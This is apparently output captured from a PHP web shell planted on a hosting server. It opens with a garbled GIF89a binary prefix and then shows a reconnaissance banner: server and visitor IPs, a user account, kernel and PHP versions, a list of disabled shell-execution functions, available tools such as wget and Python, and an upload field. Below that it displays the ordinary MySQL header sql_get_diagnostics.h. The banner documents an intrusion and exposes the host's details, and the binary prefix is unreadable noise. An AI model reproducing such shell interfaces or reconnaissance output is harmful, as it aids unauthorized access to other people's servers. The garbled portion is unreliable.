GIF89a=( ý' 7IAXKgNgYvYx\%wh&h}týh%ýs%xý}9ýRýý&ý0%ý (ý.ýý5ýSDýý&ýa)ýx5ýý;c*!&r)ï7õ<{4ý3ýH§KoTýýYýaqýýqýýFý !ý ' !ýNETSCAPE2.0 , =( ýýpH,ý$rýl:x(tJýZý,výýzýýxL.:ýýzýnýýý|Nýýýýý~ýýýýýýý& !ý0`9Rý}ýý"ý"a:Sý~xýýýýýýýýgýýýEýýýýýýýRýýýEýýýýBýý ýý8ýýDýýý"ýný ýHýýLýýDkDýBýýýýýDýýýTýýýH ýGýýA Rý |ýým&ýýE8ýSýkGýAýpxýaýýýR2XBýýE8Iýýý6Xý:vT)ý~ýýqýåýý"F~%xý ý 4#Zý0O|-4BsýX:= Qý SalýýyXJ`G&|shýýK3l7ýB|ý$'7J©*0!ýýDýn=ýPýýýýý0`ýRýljýýýýv>ýýý5 ý.69ýødýýýýýnlvý9ýýf{ýýýPbxýl5}ýpýýýýý3aýýýIýOýýýý!>ýýýiýý9ýý#ýý)pýa ½ ý{ý)vmýý%D~6fýýs}RýDýW Eý`!ý ý&L8xý ý{)x`X/>ý}mýýRý*|`Dý=ý_ ^ý5!_&'aýOý7ýcýý`DCx`ý¥ý9ýYýFýýý`?ýý"ý ýn@`ý} lýý@4>ýd S ývýxNýý"@~dýý=ýgýs~Gýýýýýýud &p8Qý)«lXDýýýýA~HýySunýjýýýk*DýLHý] ýýC"JýýXb~ªwSt}6K,ýýqýS:9*:ýýýlý@ý`ýý ý.ìýt9ýSý[©:ýý=`9Nýýýý{¿ýA !Rý:ýýý6ýýxý0ý_ ý;ýýýýýý^ýýý#ýýýý!ýýýýUýýý;0L1ýýýýýp%AýýU,uýý%ýSýý!ýýý~`ýGýýýý ýýý=4ýnpý3ýýýýýýýýýuýuýn|%2ýIýýrý#0ýýJ``8ý@S@5ýýýý^`8Eý]ý.ýSýýý7 ý ý0ýj SýDý zýýýiýSýýýýý!ýýýlýýw9*ýDýIýnEXýýý &AýGoýQfýýFýý;ýýý}ýJýýýýF5ýýQ|ýýýXýýTýýyýýý]ý o ýýC=ýý:ýýýPB@ DýSý(>ýCýx}`ýýxJ,ýàýýp+eE0`ý}`Aý/NEýý ý9@ýýý Hý7ý!%B0`ýl*ýý!8 2ý%ý ý:ý1ý0Eýýux%nP1ý!ýC)ýP81lýxF#¬{ýýýýB0>ýý
Server IP : 217.18.85.50 / Your IP : 18.119.116.125 Web Server : LiteSpeed System : Linux server50.tr85.dhs.com.tr 3.10.0-962.3.2.lve1.5.85.el7.x86_64 #1 SMP Thu Apr 18 15:18:36 UTC 2024 x86_64 User : ferhatgenc ( ) PHP Version : 7.2.34 Disable Function : restore_ini,mail,openbasedir,f_open,system,dl,array_compare,array_user_key_compare,passthru,cat,exec,popen,proc_close,proc_get_status,proc_nice,proc_open,escapeshellcmd,escapeshellarg,show_source,posix_mkfifo,ini_restore,mysql_list_dbs,getmyuid,pconnect,link,symlink,fin,passthruexec,fileread,shell_exec,pcntl_exec,ini_alter,leak,apache_child_terminate,chown,posix_kill,posix_setpgid,posix_setsid,posix_setuid,proc_terminate,syslog,allow_url_fopen,fpassthru,execute,shell,chgrp,passthru,socket_select,socket_create,socket_create_listen,socket_create_pair,socket_listen,socket_accept,socket_bind,foreach,socket_strerror,pcntl_fork,pcntl_signal,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,openlog,apache_get_version,apache_getenv,apache_note,apache_setenv,virtualal MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /usr/include/mysql/server/private/ |
Upload File : |
/* Copyright (c) 2011, Oracle and/or its affiliates. All rights reserved. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1335 USA */ #ifndef SQL_GET_DIAGNOSTICS_H #define SQL_GET_DIAGNOSTICS_H /** Diagnostics information forward reference. */ class Diagnostics_information; /** Sql_cmd_get_diagnostics represents a GET DIAGNOSTICS statement. The GET DIAGNOSTICS statement retrieves exception or completion condition information from a diagnostics area, usually pertaining to the last non-diagnostic SQL statement that was executed. */ class Sql_cmd_get_diagnostics : public Sql_cmd { public: /** Constructor, used to represent a GET DIAGNOSTICS statement. @param info Diagnostics information to be obtained. */ Sql_cmd_get_diagnostics(Diagnostics_information *info) : m_info(info) {} enum_sql_command sql_command_code() const override { return SQLCOM_GET_DIAGNOSTICS; } bool execute(THD *thd) override; private: /** The information to be obtained. */ Diagnostics_information *m_info; }; /** Represents the diagnostics information to be obtained. Diagnostic information is made available through statement information and condition information items. */ class Diagnostics_information : public Sql_alloc { public: /** Which diagnostics area to access. Only CURRENT is supported for now. */ enum Which_area { /** Access the first diagnostics area. */ CURRENT_AREA }; /** Set which diagnostics area to access. */ void set_which_da(Which_area area) { m_area= area; } /** Get which diagnostics area to access. */ Which_area get_which_da(void) const { return m_area; } /** Aggregate diagnostics information. @param thd The current thread. @param da The diagnostics area. @retval false on success. @retval true on error */ virtual bool aggregate(THD *thd, const Diagnostics_area *da) = 0; protected: /** Diagnostics_information objects are allocated in thd->mem_root. Do not rely on the destructor for any cleanup. */ virtual ~Diagnostics_information() { DBUG_ASSERT(false); } /** Evaluate a diagnostics information item in a specific context. @param thd The current thread. @param diag_item The diagnostics information item. @param ctx The context to evaluate the item. @retval false on success. @retval true on error. */ template <typename Diag_item, typename Context> bool evaluate(THD *thd, Diag_item *diag_item, Context ctx) { Item *value; /* Get this item's value. */ if (! (value= diag_item->get_value(thd, ctx))) return true; /* Set variable/parameter value. */ return diag_item->set_value(thd, &value); } private: /** Which diagnostics area to access. */ Which_area m_area; }; /** A diagnostics information item. Used to associate a specific diagnostics information item to a target variable. */ class Diagnostics_information_item : public Sql_alloc { public: /** Set a value for this item. @param thd The current thread. @param value The obtained value. @retval false on success. @retval true on error. */ bool set_value(THD *thd, Item **value); protected: /** Constructor, used to represent a diagnostics information item. @param target A target that gets the value of this item. */ Diagnostics_information_item(Item *target) : m_target(target) {} /** Diagnostics_information_item objects are allocated in thd->mem_root. Do not rely on the destructor for any cleanup. */ virtual ~Diagnostics_information_item() { DBUG_ASSERT(false); } private: /** The target variable that will receive the value of this item. */ Item *m_target; }; /** A statement information item. */ class Statement_information_item : public Diagnostics_information_item { public: /** The name of a statement information item. */ enum Name { NUMBER, ROW_COUNT }; /** Constructor, used to represent a statement information item. @param name The name of this item. @param target A target that gets the value of this item. */ Statement_information_item(Name name, Item *target) : Diagnostics_information_item(target), m_name(name) {} /** Obtain value of this statement information item. */ Item *get_value(THD *thd, const Diagnostics_area *da); private: /** The name of this statement information item. */ Name m_name; }; /** Statement information. @remark Provides information about the execution of a statement. */ class Statement_information : public Diagnostics_information { public: /** Constructor, used to represent the statement information of a GET DIAGNOSTICS statement. @param items List of requested statement information items. */ Statement_information(List<Statement_information_item> *items) : m_items(items) {} /** Obtain statement information in the context of a diagnostics area. */ bool aggregate(THD *thd, const Diagnostics_area *da) override; private: /* List of statement information items. */ List<Statement_information_item> *m_items; }; /** A condition information item. */ class Condition_information_item : public Diagnostics_information_item { public: /** The name of a condition information item. */ enum Name { CLASS_ORIGIN, SUBCLASS_ORIGIN, CONSTRAINT_CATALOG, CONSTRAINT_SCHEMA, CONSTRAINT_NAME, CATALOG_NAME, SCHEMA_NAME, TABLE_NAME, COLUMN_NAME, CURSOR_NAME, MESSAGE_TEXT, MYSQL_ERRNO, RETURNED_SQLSTATE }; /** Constructor, used to represent a condition information item. @param name The name of this item. @param target A target that gets the value of this item. */ Condition_information_item(Name name, Item *target) : Diagnostics_information_item(target), m_name(name) {} /** Obtain value of this condition information item. */ Item *get_value(THD *thd, const Sql_condition *cond); private: /** The name of this condition information item. */ Name m_name; /** Create an string item to represent a condition item string. */ Item *make_utf8_string_item(THD *thd, const String *str); }; /** Condition information. @remark Provides information about conditions raised during the execution of a statement. */ class Condition_information : public Diagnostics_information { public: /** Constructor, used to represent the condition information of a GET DIAGNOSTICS statement. @param cond_number_expr Number that identifies the diagnostic condition. @param items List of requested condition information items. */ Condition_information(Item *cond_number_expr, List<Condition_information_item> *items) : m_cond_number_expr(cond_number_expr), m_items(items) {} /** Obtain condition information in the context of a diagnostics area. */ bool aggregate(THD *thd, const Diagnostics_area *da) override; private: /** Number that identifies the diagnostic condition for which information is to be obtained. */ Item *m_cond_number_expr; /** List of condition information items. */ List<Condition_information_item> *m_items; }; #endif